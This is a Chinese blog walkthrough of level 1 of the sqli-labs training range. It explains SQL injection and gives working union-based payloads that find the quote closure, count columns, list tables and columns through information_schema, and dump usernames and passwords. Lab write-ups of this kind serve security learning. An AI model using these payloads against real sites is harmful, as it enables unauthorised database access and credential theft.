sqli-labs靶场第一关详解

目录

sqlilabs靶场第一关

0. sql注入解释

0.1什么是sql注入

0.2sql注入的原理

0.3sql注入方法

0.3.1 数字型注入

0.3.2 字符型注入

1.注入第一步判断请求方式、类型

1.1打开我自己本地的靶场http://sql.com/Less-1/ 

(上一期靶场搭建:http://t.csdnimg.cn/mzLeq)

1.2.进行手工测试判断有没有sql注入?

1.3 ?id=1

1.4 and 1=1  and1=2

1.5 加单引号

2验证闭合方式

2.1两个单引号

3.确定列数(字段数)

4.使用来和查询确定回显

4.1id=1’union select 1,2,3--+

5.联合查询所有库名

6.联合查询所有security表名字

6.1默认数据库

limit 0,1

group_concat()函数

7.查询users表所有列名

8.查出用户名和密码

sqlilabs靶场第一关

0. sql注入解释

0.1什么是sql注入

sql注入是指web应用程序对用户输入的数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

0.2sql注入的原理

sql注入攻击是通过操作输入来修改sql语句,用以达到执行代码对web服务器进行攻击的方法。简单来说就是在post/get的web表单、输入域名或页面请求的查询字符串中插入sql命令,最终使web服务器执行恶意命令的过程。

0.3sql注入方法

根据输入参数的不同,一般分为数字型注入和字符型注入

0.3.1 数字型注入

判断是否为数字型注入
select * from users where id=1 and 1=2    #sql原句
?id=1 and 1=2    #构造的sql注入语句
判断 数字注入 若在GET请求中?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入。
这种数字型注入最多出现在ASP、PHP等弱类型语言中。

0.3.2 字符型注入

字符型注入常见的闭合符类型
’ 单引号
 " 、双引号
) 、 括号
') 、 单引号和括号
") 、 双引号和括号
'))单引号和双括号
判断是否为字符型注入: 若在GET请求中?id=1 and 1=1和?id=1 and 1=2都没有报错,则是字符型注入
select * form users where id=‘$id'/"$id"/等   #sql原句
?id=1' and '1'='2    #构造的sql注入语句

1.注入第一步判断请求方式、类型

1.1打开我自己本地的靶场http://sql.com/Less-1/ 

(上一期靶场搭建:http://t.csdnimg.cn/mzLeq)

注意:我这里使用的插件是hackbar 详细百度
页面显示welcome Dhakkan( 欢迎dhakkan)
Please inpyt the ID as paramter with numeric value(请以带数值的参数形式输入ID)
由此判断传参方式是get传参(get就是从url进行传参)

1.2.进行手工测试判断有没有sql注入?

我有个习惯就算知道是靶场练习也习惯将它当做是一个测试项目来思考)
这是get传参 ?(问号)后面都是用户可控的,一切用户可控的地方都可能存在危害漏洞。
手动输入?id=
一般测试进行下面三种判断
?id=1 and 1=1    
 ?id=1 and 1=2   
 ?id=1'     :
若在GET请求中?id=1 and 1=1和?id=1 and 1=2都没有报错,则是字符型注入
若在GET请求中?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入。

1.3 ?id=1

http://sql.com/Less-1/?id=1
 id=1 发现页面正常  --这里id在实战可以其他属性
此说明这个web可以改变id的值直接传入数据库且返回到页面还看出此(信息是敏感的密码信息)
推断做了users表查询
                                                2.1  id=1

1.4 and 1=1  and1=2

                                                               and 1=1 
                                                             and 1=2
结果显示都正常,说明是字符注入,且可能id 值为int型不论数字后面是什么统一取为第一个数字

1.5 加单引号

http://sql.com/Less-1/?id=1 '
id=1'(单引号)页面报错     报错说明服务器没有对单引号进行过滤存在注入
                                                            
下面我们要验证闭合方式,验证处理逃逸id查询就可以使用联合查询出其他表。

2验证闭合方式

2.1两个单引号

http://sql.com/Less-1/?id=1''页面恢复正常
我们知道引号总是成对出现,这样可能是单引号闭合'$id'('1' '')
                                                                           
再次验证注释掉引号看是否正常
id=1' --+    --+就是--空格
结果页面返回正常说明是 单引号闭合下面就可以 利用联合查询注入

3.确定列数(字段数)

使用联合union注入查询要保证前后列名一致需要确定前面列数
使用id=1' order by 1
id=1' order by 2
id=1' order by 3
id=1' order by 4
查看是否返回正常,结果发现1 2 3正常4不正常,确定有3列
                                                     id=1' order by 3
                                                    id=1' order by 4

4.使用来和查询确定回显

4.1id=1’union select 1,2,3--+

http://sql.com/Less-1/?id=1’union select 1,2,3--+
由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:
http://sql.com/Less-1/?id=-1’union select 1,2,3--+
现在看出2 3都是有回显

5.联合查询所有库名

?id= -1' union select 1, 2, database() --+
查询出库名为security

6.联合查询所有security表名字

6.1默认数据库

我们知道mysql里面有一个默认库存放在所有数据库名和表名字 字段名
1.information_schema.schemata
所有数据库 列名 :schemata_name
2.information_schema.tables表库
所有数据库 列名 ::table_schema 数据库名
table_name表名
3.information_schema. columns字段表
所有数据库 列名 : : columns_name  schemata_name table_schema 数据库名
需要查询所有表名需要在information_schema.tables表库
限定条件 table_schma="security"
查询列名:table_name
table_name  from  information_schema.tables where table_schema= security limit 0,1

limit 0,1

因为回显只可以出现一行查询所有可以更换0,1 1, 2  2,3 ....
还可以使用

group_concat()函数

将所有结果输出一行
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

7.查询users表所有列名

需要查询所有表名需要在information_schema.columns列名库
限定条件 table_name="users"
查询列名:column_name
 group_concat( column_name) from information_schema.columns where table_schma="security"
语句:d=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name="users" --+

8.查出用户名和密码

通关说明查询出用户名密码在users表里面
username用户名
password密码
需要查询表:user
限定条件 无
查询列名:username,password
?id=-1' union select 1,username,password from users --+
还可以借助limit 输出不同行数据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/363726.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

nodejs+vue+ElementUi电商购物个性化商城推荐系统gqfe

电本电商个性化推荐系统是为了提高用户查阅信息的效率和管理人员管理信息的工作效率,可以快速存储大量数据,还有信息检索功能,这大大的满足了用户和管理员这二者的需求。操作简单易懂,合理分析各个模块的功能,尽可能优…

git将项目的某次签入遴选(Cherry-Pick)另一个项目

需求&#xff1a;将项目Product&#xff0c;分支feature/platform&#xff0c;签入959294ce6b75ee48c5cb22c46d7398654628a896&#xff0c;遴选到项目BRP&#xff0c;分支dev 第一步&#xff1a;使用原签入生成patch文件&#xff08;git format-patch -1 <commit_hash>&a…

MySQL原理(一)架构组成之物理文件组成

目录 一、日志文件 1、错误日志 Error Log 1.1、作用&#xff1a; 1.2、开启关闭&#xff1a; 1.3、使用 2、二进制日志 Binary Log & Binary Log Index 2.1、作用&#xff1a; 2.2、开启关闭&#xff1a; 2.3、Binlog还有一些附加选项参数 &#xff08;1&#x…

Linux系统-学习

文章目录 Linux系统-学习 1、自由开源 Linux操作系统完全免费且可用作开源软件&#xff0c;通过开源方式&#xff0c;您可以轻松查看用于创建Linux内核的可用代码&#xff0c;还可以修改代码以修复任何错误等。它提供有许多编程接口&#xff0c;您甚至可以开发自己的程序并将其…

2.1总结

还是一样水更一天&#xff0c;就随便做了几个题&#xff0c;有一个周期有点长&#xff0c;后面更一篇长的 随手刷的一道水题&#xff0c;就不往今天的行程单添了 问题&#xff1a;最大公约数 题解&#xff1a;题目太水了&#xff0c;就是求三个数&#xff0c;其中两组的最大公…

rancher证书过期问题处理

问题 起初&#xff0c;打开rancher ui页面打不开&#xff0c;telnet rancher的服务端口也不通。查看rancher 控制节点&#xff0c;日志显示&#xff0c;X509&#xff1a;certificate has expired or is not ye valid。证书已过期 解决 现在网上大部分的解决方案都是针对的2…

基于51单片机的加油站计费系统

基于51单片机的加油站计费系统[proteus仿真] 计费检测系统这个题目算是课程设计和毕业设计中常见的题目了&#xff0c;本期是一个108基于51单片机的加油站计费系统 需要的源文件和程序的小伙伴可以关注公众号【阿目分享嵌入式】&#xff0c;赞赏任意文章 2&#xffe5;&#…

《C程序设计》上机实验报告(五)之一维数组二维数组与字符数组

实验内容&#xff1a; 1.运行程序 #include <stdio.h> void main( ) { int i,j,iRow0,iCol0,m; int x[3][4]{{1,11,22,33},{2,28,98,38},{3,85,20,89}}; mx[0][0]; for(i0;i<3;i) for(j0;j<4;j) if (x[i][j]>m) { mx[i][j]; iRowi…

Zabbix“专家坐诊”第225期问答汇总

来源&#xff1a;乐维社区 问题一 Q&#xff1a;当系统负荷顶不住时&#xff0c;比如4个cpu&#xff0c;load average 特别高&#xff0c;比如100。这时候这段时间zabbix的所有指标数据会丢失&#xff0c;不知道原因是什么&#xff0c;有没有办法去处理&#xff0c;保存这块指标…

2024年【危险化学品经营单位主要负责人】报名考试及危险化学品经营单位主要负责人免费试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 危险化学品经营单位主要负责人报名考试参考答案及危险化学品经营单位主要负责人考试试题解析是安全生产模拟考试一点通题库老师及危险化学品经营单位主要负责人操作证已考过的学员汇总&#xff0c;相对有效帮助危险化…

PostGIS空间数据库之空间数据融合实践

目录 前言 一、ST_Union()简介 1、方法说明 2、参数介绍 二、ST_Collect()简介 1、方法说明 2、参数介绍 3、两者区别 三、实际案例实践 1、不重叠融合 2、空间重叠融合 总结 前言 众所周知&#xff0c;熟悉GIS桌面软件的同学一定都知道&#xff0c;想要对空…

windows下postgresql的安装使用

一、安装 1、安装包安装 1.1 下载exe安装包 选择安装包&#xff1a;官网 或者点击下载&#xff1a;postgresql-12.12-1-windows-x64.exe Tip&#xff1a;此时若报错&#xff1a;There has been an error.An error occured executing the Microsoft VC runtime installer。 参…

(一)hadoop搭建之环境准备1

1.参考http://www.fogsvc.com/97.html文档设置三台虚拟机并固定ip 192.168.1.10 hadoop-master 192.168.1.11 hadoop-slave1 192.168.1.12 hadoop-slave2 2.配置hosts vi /etc/hosts 添加内容 192.168.1.10 hadoop-master 192.168.1.11 hadoop-slave1 192.1…

HIS预约挂号系统源码 看病挂号快人一步

提到去大型医院机构就诊时&#xff0c;许多人都感到恐惧。有些人一旦走进医院的门诊大厅&#xff0c;就感到迷茫&#xff0c;既无法理解导医台医生的建议&#xff0c;也找不到应该去哪个科室进行检查。实际上&#xff0c;就医也是一门学问&#xff0c;如何优化时间分配&#xf…

结构体--共用体--枚举 之难点——链表 奋力学习嵌入式的第十六天

结构体 注意&#xff1a; 1.结构体类型 可以定义在 函数里里面 但是此时作用域就被限定在该函数中 2.结构体定义形式 //形式一 限定一类型 后定义变量 struct stu { ... }; struct stu s; //形式二 定义类型的同时 定义变量 struct stu { ... }s1,s2,*s3,s4[10]; struc…

iMazing 3中文版双平台版本同步,iOS 设备在 Windows 上也能自动备份了

自从WWDC 2019 宣布 iTunes 退役后&#xff0c;也许很多小伙伴都对「上位者」iMazing 有所耳闻。 这款设计更加人性化、功能细致强大的 iOS 备份管理工具。 iMazing 支持在 Windows 及 Mac 上运行&#xff0c;而这个月 Windows 版本更新至 2.17. 之后&#xff0c;iMazing 的双…

09 二叉树链式结构

目录 1.链式结构的创建 2.遍历的方式 3.结点数的计算 4.高度的计算 5.第k层的节点个数 6.查找值 7.判断完全二叉树 8,销毁 9.OJ题 1.链式结构 在学习二叉树基本操作前&#xff0c;需要先创建一颗二叉树。为了快速上手&#xff0c;这里手动擦窗机简单的二叉树。等后面再自动创…

服装行业ERP系统解决方案

我国的服装企业大多属于劳动密集型&#xff0c;主要有三种类型&#xff1a;自有品牌服装生产销售企业、接订单生产型企业及处于产业链下游的零售分销企业。在经营过程中&#xff0c;服装行业面临诸多挑战&#xff0c;如流行周期短、季节性强&#xff0c;市场变化快&#xff1b;…

【HarmonyOS 4.0 应用开发实战】TypeScript入门之元组详讲

个人名片&#xff1a; &#x1f43c;作者简介&#xff1a;一名大三在校生&#xff0c;喜欢AI编程&#x1f38b; &#x1f43b;‍❄️个人主页&#x1f947;&#xff1a;落798. &#x1f43c;个人WeChat&#xff1a;hmmwx53 &#x1f54a;️系列专栏&#xff1a;&#x1f5bc;️…

小程序软件测试应该怎么做?有什么作用?

近年来&#xff0c;随着移动互联网的快速发展&#xff0c;小程序软件的使用越来越广泛。无论是企业推广还是个人创作&#xff0c;小程序软件都具备了很大的潜力和市场空间。然而&#xff0c;在发布之前&#xff0c;进行充分的测试是至关重要的&#xff0c;以确保用户体验的顺畅…